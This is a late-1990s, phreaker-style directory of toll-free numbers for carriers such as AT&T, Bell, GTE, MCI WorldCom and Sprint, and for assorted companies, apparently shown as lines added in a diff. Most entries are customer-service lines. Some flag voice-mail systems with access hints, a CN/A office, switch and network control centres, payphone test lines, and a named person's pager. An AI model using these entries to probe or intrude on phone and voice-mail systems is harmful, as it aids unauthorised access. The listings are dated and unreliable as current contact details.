+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-850-TIES AT&T. Call to setup Easy Reach 800s.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-967-5363 AT&T Worldnet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-888-288-1233 AT&T Internet Service.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-475-7449 Ameritech Pay Phone Repair.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-873-5501 Ameritech's automated billing (RBOC)
+1-800-AMERITECH Ameritech.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ Bell:
+-------------------------------------------------------------------------------
+
+310-BELL Bell Canada Customer Services. (toll free)
+1-416-555-1313 Bell's local CN/A office for Toronto.
+1-915-683-9145 Southwestern Bell Employee Locator (Automated)
+1-800-221-4393 Bell Atlantic VMB.
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-225-5400 Bell Atlantic.
+1-800-225-5792 Southwestern Bell Wireless National Services.
+1-800-238-8636 Bell Labs.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-253-5011 Bell Mobility Paging.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-256-2355 Bell Nexxia. (after hours Octel VMB)
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-6574 Bell Canada Datapac Service Center.
+1-800-267-7640 Bell Canada's Ident-a-call demonstration line. (Press "*" to
+ access the VMS)
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-5933 Bell Canada Quickchange Deptartment.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-285-2355 BellSouth.
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-323-6628 Bell Laboratories.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-9612 Bell Technical Services.
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-387-9571 Bell Mobility Radio.
+1-800-407-2355 John with Southwest Bell Wireless.
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-439-2355 Direct Bell. (wireless communications)
+1-800-441-1267 Southwestern Bell Yellow Pages.
+1-800-443-6200 Southwestern Bell Yellow Pages.
+1-800-446-7835 Northern Telecom (Nortel) (The People Who Make Millenniums)
+1-800-447-2688 BC Tel Mobility's EasyTouch Service.
+1-800-451-6549 BellSouth Customer Service.
+1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only)
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada Smart Touch Information Line.
+1-800-465-2355 Bell Mobility.
+1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom)
+1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator.
+1-800-470-2355 Bell Mobility.
+1-800-472-9773 Telus (Payphone Dept.)
+1-800-479-2977 Southwestern Bell Yellow Pages.
+1-800-487-2355 Cellular One Customer Service.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only)
+1-800-514-2355 Cellular One's Welcome line.
+1-800-521-2673 Bellcore.
+1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-528-2355 Southwestern Bell Yellow Pages Business Office.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-541-1229 BellSouth Financial Services.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTel's NBNet Support line.
+1-800-563-0624 Telus Fax.
+1-800-565-4737 IslandTel Business Office.
+1-800-567-2355 Cellular One.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada (I think it's the main switchboard)
+1-800-575-2355 BC Telus Help Center.
+1-800-600-2355 Southwestern Bell.
+1-800-604-2355 Cellular One.
+1-800-611-6500 Bell Mobility Cellular.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-661-2355 BC Tel Mobility Customer Service.
+1-800-661-4260 Telus advertising.
+1-800-663-1440 BC Tel Call Center/Accounts.
+1-800-663-2455 BC Tel Mobility Customer Service Department.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-5801 SaskTel International Head Office.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-684-2255 Nortel's Meridian Home Office Support/Info.
+1-800-722-2300 Nynex President Switchboard.
+1-800-724-4443 Bell Sympatico.
+1-800-727-2231 Bell Atlantic.
+1-800-733-2355 BellSouth Phones.
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-753-0223 BellSouth order line.
+1-800-767-2355 BellSouth automated billing services.
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's internet service)
+1-800-775-2355 BellSouth Phones.
+1-800-782-8353 Pacific Bell (to report any pay phone crimes)
+1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-833-7477 Nortel Networks.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8000 Pacific Bell Directory Smart Resource. (U.S. only)
+1-800-858-9413 BellSouth ISDN order line.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-933-2355 Fulfillment plus. (agent of Pacific Bell)
+1-800-934-2255 Bell Atlantic.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-957-9999 Bell Canada Long Distance.
+1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-800-REWARDS Bell Canada Rewards.
+1-877-344-3330 BC Tel Mobility.
+1-877-499-1260 Bell Canada's Smart Touch Promotion Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service.
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-217-6540 Bell Mobility Service.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-242-2355 Bell (Spanish)
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-308-5640 Bell Mobility Paging.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-345-2355 Cellular One Dispatch.
+1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-455-2355 Southwestern Bell. NIS any longer.
+1-888-462-8033 BellSouth COCOT repair.
+1-888-522-2355 Cellular One.
+1-888-543-2355 BellSouth Internet Business.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-681-2355 Cellular One.
+1-888-685-2355 BC Tel Multiple Option Messaging.
+1-888-730-2355 Bell Atlantic.
+1-888-739-2737 (1-888-REWARDS) Bell Canada.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-755-2355 Pacific Bell Equipment.
+1-888-775-2355 Pacific Bell Equipment.
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-837-1668 BellSouth Telecom Rental Services.
+1-888-867-7587 (1-888-TMS-PLUS) Telus.
+1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-905-2284 BC Tel Interactive Business Solutions.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+1-888-CELLPHONE Cellular One.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Telecom.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4385 GTE Personnel-only question line (800-FON-GTE5)
+1-800-366-5665 GTE Express. (Cellular)
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
+1-800-483-3600 GTE North Customer Billing Center.
+1-800-483-4000 GTE California Customer Service Ordering Center.
+1-800-483-4839 GTE Business Response Center.
+1-800-483-5000 GTE California Business Sales Center.
+1-800-483-5288 GTE Headquarters in Irving, TX.
+1-800-483-5400 GTE Business Sales Center.
+1-800-483-5559 GTE.
+1-800-483-5781 GTE Wireless.
+1-800-483-7243 (1-800-GTE-PAGE) GTE Paging.
+1-800-483-7479 GTE Hawaiian Tel's Business Sales Center.
+1-800-527-2558 GTE Business Response Center.
+1-800-643-0997 GTE Bank Card Center.
+1-800-670-9320 GTE Paging.
+1-800-727-2355 GTE Wireless.
+1-800-787-9689 GTE Customer Service.
+1-800-877-5665 GTE Express. (Cellular)
+1-800-888-8448 GTE Directory Order Center.
+
+
+-------------------------------------------------------------------------------
+ MCI WorldCom:
+-------------------------------------------------------------------------------
+
+1-800-225-5888 MCI WorldCom Operator Services.
+1-800-254-8991 MCI WorldCom Customer Service. (U.S. only)
+1-800-264-1000 MCI WorldCom Customer Service.
+1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls.
+1-800-267-7320 Network MCI
+1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN")
+1-800-275-0200 MCI WorldCom Residential/Business Customer Service.
+1-800-275-1234 MCI Worldcom. Accepts calling cards for phone calls.
+1-800-333-1000 MCI WorldCom Commercial Customer Service.
+1-800-333-2000 MCI WorldCom.
+1-800-333-5000 MCI WorldCom Residential Service.
+1-800-336-0149 MCI WorldCom Global Product Support.
+1-800-432-4557 MCI WorldCom Account Services. (U.S. only)
+1-800-444-1111 MCI WorldCom's Global Technical Service Center.
+1-800-444-3333 MCI Customer Service. (U.S. only)
+1-800-444-4444 MCI WorldCom.
+1-800-444-6242 MCI.
+1-800-444-6245 MCI Mail Messaging and Technical Support.
+1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office.
+1-800-455-1605 Network MCI System.
+1-800-455-2957 Network MCI System.
+1-800-455-4215 Network MCI System.
+1-800-455-5469 Network MCI System.
+1-800-455-6084 Network MCI Interactive Paging Service.
+1-800-455-6504 Network MCI System.
+1-800-455-6513 Network MCI System.
+1-800-455-6780 Network MCI System.
+1-800-455-6834 Network MCI System.
+1-800-455-7806 Network MCI System.
+1-800-455-7854 Network MCI System.
+1-800-455-7920 Network MCI System.
+1-800-475-0138 MCI WorldCom.
+1-800-475-5628 MCI WorldCom Paging System.
+1-800-475-9321 MCI WorldCom.
+1-800-483-4929 Network MCI System.
+1-800-483-8784 Network MCI System.
+1-800-539-2000 MCI WorldCom Business Services.
+1-800-555-4668 Network MCI System.
+1-800-627-2355 MCI WorldCom Administrative Offices.
+1-800-637-2255 MCI WorldCom.
+1-800-645-2355 MCI WorldCom.
+1-800-666-1904 MCI WorldCom. (U.S. only)
+1-800-666-2613 MCI Worldcom.
+1-800-674-2355 MCI WorldCom (calling card calls)
+1-800-688-4889 MCI National Relay Service in the U.S. (TTY)
+1-800-701-9358 MCI WorldCom. (U.S. only)
+1-800-701-9360 MCI WorldCom. (U.S. only)
+1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System.
+1-800-727-5555 MCI Small Business Accounts. (U.S. only)
+1-800-848-4480 MCI WorldCom Network Assistance. (modem)
+1-800-864-4060 MCI WorldCom Wholesale Services.
+1-800-872-7654 MCI WorldCom's EDI Group.
+1-800-876-8581 Network MCI.
+1-800-877-8000 MCI.
+1-800-877-9320 Network MCI.
+1-800-888-8000 MCI WorldCom automated calling card calls.
+1-800-944-0700 MCI WorldCom Wireless.
+1-800-947-8642 MCI National Relay Service in the U.S. (voice)
+1-800-950-1022 MCI Worldcom Customer Service.
+1-800-COLLECT MCI WorldCom automated collect calls.
+1-800-SUNDAYS MCI WorldCom.
+1-800-WORLDCOM WorldCom.
+1-888-575-2355 MCI WorldCom.
+1-888-624-2355 MCI WorldCom.
+1-888-655-2355 Network MCI Contact.
+1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System.
+
+
+-------------------------------------------------------------------------------
+ Sprint:
+-------------------------------------------------------------------------------
+
+1-800-227-9892 Sprint.
+1-800-256-8340 Sprint Canada.
+1-800-277-7468 Sprint Phone Card and Collect calls.
+1-800-308-MOST Sprint Canada.
+1-800-336-MOST Sprint Canada.
+1-800-359-2255 Sprint Voice Phone Card.
+1-800-366-0707 Sprint Pre-Paid Card Customer Service.
+1-800-366-2255 Sprint automated LD calling (U.S. and Canada)
+1-800-455-4602 Sprint PCS.
+1-800-456-9711 Sprint Canada Customer Service.
+1-800-467-7746 Sprint.
+1-800-480-4727 (1-800-480-4PCS) Sprint PCS.
+1-800-505-MOST Sprint Canada.
+1-800-506-8268 Sprint Canada.
+1-800-515-6678 (1-800-515-MOST) Sprint Canada.
+1-800-522-9320 Sprint Canada.
+1-800-540-4516 Sprint Canada.
+1-800-546-2500 Sprint's online directory of SprintNet local access numbers.
+1-800-546-6000 SprintNet's In-WATS Service.
+1-800-548-8120 Sprint Canada.
+1-800-555-2800 Sprint (Spanish)
+1-800-570-2255 Sprint Business Service Center.
+1-800-571-6678 (1-800-571-MOST) Sprint Canada.
+1-800-575-2255 Sprint Canada's Business Sales Office in Halifax.
+1-800-581-MOST Sprint Canada.
+1-800-597-1195 Sprint Canada.
+1-800-597-9765 Sprint Canada.
+1-800-666-6999 Sprint Canada.
+1-800-674-7000 Sprint.
+1-800-680-6678 (1-800-680-MOST) Sprint Canada.
+1-800-714-MOST Sprint Canada.
+1-800-736-1130 SprintNet data network products and services.
+1-800-746-3767 (1-800-PIN-DROP) Sprint. (U.S. only)
+1-800-777-4681 (1-800-SPRINT-1) Sprint Paging.
+1-800-777-4683 (1-800-SPRINT-3) Sprint Selections.
+1-800-801-6678 (1-800-801-MOST) Sprint Canada.
+1-800-810-MOST Sprint Canada.
+1-800-827-4685 Sprint's Global One Customer Service Center.
+1-800-830-MOST Sprint Canada.
+1-800-841-MOST Sprint Canada.
+1-800-843-6678 (1-800-THE-MOST) Sprint Canada.
+1-800-873-9350 Sprint Canada.
+1-800-874-5069 Sprint Canada.
+1-800-877-4453 Sprint Employee News line. (U.S. only. Updated daily)
+1-800-877-4646 Sprint Account/Rewards/Calling Card customer services.
+1-800-877-5045 Sprint Service Management Center.
+1-800-877-8000 Sprint Operator assisted calls.
+1-800-877-8973 Sprint National Relay Service in the U.S. (voice/TTY)
+1-800-994-6678 (1-800-994-MOST) Sprint Canada.
+1-800-FON-CARD Sprint's automated calling.
+1-888-254-0701 Sprint Canada's "The Most" Online.
+1-888-254-2927 Sprint Canada.
+1-888-276-2179 Sprint PCS.
+1-888-369-DATA Sprint.
+1-888-490-3279 (1-888-490-EASY) Sprint Canada's "The Most" Online.
+1-888-510-3279 Sprint Canada.
+1-888-670-3279 Sprint Canada.
+1-888-675-3279 Sprint Canada.
+1-888-689-3279 Sprint Canada's "The Most" Online.
+1-888-710-3279 Sprint Canada's "The Most" Online.
+1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line.
+1-888-790-3279 Sprint Canada.
+1-888-IN-TOUCH Sprint "Stay in touch" Services.
+
+
+-------------------------------------------------------------------------------
+ US West:
+-------------------------------------------------------------------------------
+
+(303) 896-7683 US West (Denver), automated job line.
+1-800-227-2209 Enterprise US West Employee Help Line.
+1-800-238-7848 US West "Air Touch" Cellular.
+1-800-244-1111 US West Communications.
+1-800-338-0018 US West Direct Yellow Pages.
+1-800-422-8793 US West Directory Source.
+1-800-455-8706 US West Repair Center for AT&T.
+1-800-4US-WEST US West Card Services.
+1-800-626-6611 US West "Air Touch" Cellular Customer Service.
+1-800-856-3376 US West Dispatch. (U.S. only)
+1-800-879-4357 US West (Western U.S.) Employee Locator.
+1-800-883-6171 US West Completions and Translations. (U.S. only)
+
+
+-------------------------------------------------------------------------------
+ Miscellaneous Telcos, LD Carriers, Voice Mail Systems and Companies:
+-------------------------------------------------------------------------------
+
+1-303-499-7111 Atomic Clock in Colorado.
+1-800-200-0068 Call Interactive. (listen to male and female voices)
+1-800-221-2255 American Airlines VMS.
+1-800-221-4009 London Telcom.
+1-800-222-5161 IBM Program Headquarters.
+1-800-225-2255 ATM Communications. Collect, calling & credit card calls.
+1-800-225-4288 ATN Communications. (collect, credit, calling card)
+1-800-225-5128 NOS automated collect, credit and calling card calls.
+1-800-225-5152 Nationwide Messaging.
+1-800-225-5228 ATN Communications. (collect, credit, calling card)
+1-800-225-5233 NOS automated collect, credit and calling card calls.
+1-800-225-5249 (1-800-CALL-AIX) IBM AIX Support.
+1-800-225-5265 1-800-COLLECT.
+1-800-225-5268 ATN Communications. (collect, credit, calling card)
+1-800-225-5373 3M Electronic Products Information.
+1-800-225-5385 Compaq Computer Corporation.
+1-800-225-5438 IDT Long Distance/Internet Services.
+1-800-225-5463 Directory Assistance (800-CALL-INFO)
+1-800-225-5627 (1-800-CALL-NCR) NCR Customer Support.
+1-800-225-5664 NEC.
+1-800-227-3663 (1-800-CAR-FONE) Ericsson.
+1-800-229-1103 Gateway Technical Support Tutorial Credit Card Line.
+1-800-233-3382 Novell Education Programs.
+1-800-235-4008 Information America's Client Support.
+1-800-242-0080 Compaq Corporation.
+1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.)
+1-800-255-3700 Nintendo.
+1-800-263-0656 NCR.
+1-800-263-1121 Canon.
+1-800-263-2244 Sanyo On-Site.
+1-800-263-3394 Apple Canada.
+1-800-264-2255 InComNet National Telephone and Communications.
+1-800-265-0977 NCR.
+1-800-268-3997 NEC.
+1-800-284-2255 ATN Communications. (collect, credit, calling card)
+1-800-288-2880 OCI.
+1-800-294-0020 US Tel. (phone repairs and sales)
+1-800-300-2355 NOS. (calling card, collect calls, etc.)
+1-800-320-3488 Motorola Radio Network Services in San Diego, CA.
+1-800-321-4044 Intel Overdrive/Microprocessor Support Line.
+1-800-324-1234 CTI Long Distance Customer Service.
+1-800-331-9922 General Motors Shareholder's Services.
+1-800-332-2717 Intel Technical Support.
+1-800-332-4636 Compaq Computer Corporation.
+1-800-333-9967 Communication Options.
+1-800-334-2255 GE Information Services Center.
+1-800-334-2564 (1-800-3-DIALOG) Dialog Information Service WHQ.
+1-800-336-6000 VMB (Audix)
+1-800-339-6181 Toshiba.
+1-800-344-4825 Compaq Canada.
+1-800-354-9000 Compaq Customer Services.
+1-800-355-6245 ATX Telecommunication Services. (Answering Machine)
+1-800-360-2255 Century 21 Realty VMS.
+1-800-367-2346 Motorola Telecommunications Administration.
+1-800-381-7707 Rogers Cantel Service Barrie.
+1-800-387-8240 NCR.
+1-800-387-8300 NCR Help Desk and Call Management Center.
+1-800-388-PIR8 SPA Anti-Piracy Hotline. (the official warez d00d ratline)
+1-800-395-4656 ITC Telecom Dispatch Service.
+1-800-4-LUCENT Lucent Technologies.
+1-800-405-6543 American Mobile Customer Accounts Support Center.
+1-800-418-6245 Blockbusters VMS.
+1-800-425-1111 Pepsi Cola Atlantic Customer Service.
+1-800-426-2255 (IBM-CALL) IBM Customer Support.
+1-800-426-4682 IBM Performance Management and Capacity Planning Services.
+1-800-426-4968 (IBM-4YOU) IBM Products, Services and Technical Support.
+1-800-426-4968 IBM Customer Service.
+1-800-426-7378 (IBM-SERV) IBM Hardware/Software technical information.
+1-800-428-3929 (1-800-GATEWAY) Gateway in South Dakota.
+1-800-444-9000 Telecom USA.
+1-800-446-6744 Motorola Supplier/Customer Training Services.
+1-800-448-2244 (1-800-HITACHI) Hitachi.
+1-800-452-9996 Statistics Canada.
+1-800-453-0920 Motorola IDEN Customer Services.
+1-800-455-4890 Pager that plays a South Park Song for the greeting.
+1-800-455-5958 ITC Telecom.
+1-800-456-3333 Skytel National Sales Center.
+1-800-457-6245 CSI Compuserve Technical Support. (Need UserId #)
+1-800-460-1111 Qwest Customer Service.
+1-800-460-2222 Qwest.
+1-800-460-3333 Qwest.
+1-800-461-5161 NCR Canada Emergency Parts Order Desk.
+1-800-467-2355 CenturyTel.
+1-800-468-3548 (1-800-INTEL-IT) Intel Product Repair Service.
+1-800-475-3107 Joanne Wilson from IBM Global Services Pager.
+1-800-477-9692 ATN Information and Customer Service.
+1-800-483-1170 3Com's Customer Service after hours VMB.
+1-800-483-1288 IBM Work Group Services.
+1-800-483-4444 FirsTel Advanced Communications Customer Service Center.
+1-800-483-6681 StarTech telco.
+1-800-501-6245 Database America's answering machine.
+1-800-509-1800 Novell's Customer Response Center.
+1-800-522-6245 AMD VMS. (enter 3 digit ext# then 3 digit passcode#)
+1-800-525-5288 ATN Communications.
+1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books,
+1-800-555-1212 Toll Free Directory Assistance/Info.
+1-800-555-1313 VMB (Skytel)
+1-800-555-1560 Audix VMB.
+1-800-555-2052 Gateway 2000 International Department.
+1-800-555-2091 Gateway 2000 International Department.
+1-800-555-2255 NOS. Collect, credit card calls, Operator assisted, etc.
+1-800-555-3012 Gateway Direct Line.
+1-800-555-4000 "Mike's" Skytel Direct Dial VMB. Press "*" to access.
+1-800-555-6620 VMB (Meridian Mail)
+1-800-555-7665 TelAmerica.
+1-800-557-6245 Saloman Smith Barney VMS.
+1-800-563-9048 Micro$oft Canada Sales and Information Centre.
+1-800-565-2237 Acer America Corporation.
+1-800-567-1616 Compaq.
+1-800-569-DELL DELL.
+1-800-576-2255 Frontier Communications Customer Service.
+1-800-580-5585 WesTel Incorporated Customer Service.
+1-800-588-1111 ActionTel.
+1-800-588-2222 ActionTel Customer Service.
+1-800-594-3000 Call-Home America.
+1-800-595-8480 Rogers@Home.
+1-800-627-2303 (1-800-NCR-2303) NCR Corporation Shareholder Services.
+1-800-627-5609 Conquest Customer Service.
+1-800-628-2888 Lucent Technologies National Customer Care Center.
+1-800-628-8686 Intel Customer Service.
+1-800-628-9526 Compaq Support Line.
+1-800-633-2255 NOS automated collect, credit and calling card calls.
+1-800-638-9273 Novell Customer Support.
+1-800-638-9636 Genie Online Service.
+1-800-639-8359 (1-800-NEXTEL-9)
+1-800-647-2355 MinIowa PC Partner. 1-877-727-3375 Internet number.
+1-800-652-6672 (1-800-OK-COMPAQ) Compaq Computer Corporation Technical Support.
+1-800-658-5199 AccessData Corporation. (data recovery)
+1-800-663-7780 NCR Invoicing Department.
+1-800-669-1800 Burger King's VMB. (4 digit BNs)
+1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm.
+1-800-725-5288 ATN Communications.
+1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line.
+1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support.
+1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.)
+1-800-777-2255 Phone Works VMS.
+1-800-777-3278 Fujitsu Network Communications Inc.
+1-800-777-4343 Digital Equipment Corp.
+1-800-783-2020 Frontier Communications Customer Service.
+1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems)
+1-800-788-8588 Working Assets Long Distance.
+1-800-800-8800 Target Directory.
+1-800-822-2000 Lucent Technologies.
+1-800-825-2255 Metro-Call Customer Service. (pager service)
+1-800-828-3362 Novell Authorization Department.
+1-800-829-1011 Network Management Center.
+1-800-835-7788 US Telecom International.
+1-800-842-2255 American Express VMS (Audix)
+1-800-846-2301 Gateway Technical Support Line.
+1-800-847-4096 DELL Canada's Service and Support Hot Line.
+1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.)
+1-800-848-8199 CompuServe.
+1-800-848-8990 CompuServe.
+1-800-858-4000 Novell Technical Support.
+1-800-860-2255 Qwest/LCI.
+1-800-879-3782 NOS (automated collect, credit, calling card calls)
+1-800-879-7660 Iomega's Instant Access Help System.
+1-800-888-4848 Subway's VMS.
+1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3")
+1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory.
+1-800-949-6245 VMB (Phone Mail)
+1-800-951-2355 Cantel Communications.
+1-800-954-6245 VMB (OcTel)
+1-800-999-DELL DELL Canada.
+1-800-SKY-8888 Skytel System Access.
+1-800-SKY-FAXE SkyFax (Skytel Faxing)
+1-800-SKY-GRAM Skyward (Skytel Alpha-Numeric Paging)
+1-800-SKY-PAGE SkyPager (Skytel Numeric Paging)
+1-800-SKY-TALK SkyTalk (Skytel Voice Mail)
+1-800-SKYTEL5 Skytel.
+1-877-240-1267 Cantel Centre De Communication Tech.
+1-877-326-2826 NCR Bell Help Desk.
+1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services.
+1-877-396-3939 Union Telecom.
+1-877-4-LUCENT Lucent Technologies.
+1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services.
+1-877-742-7722 Sharp Canada Customer Care Center.
+1-877-875-2762 Pioneer Help Line.
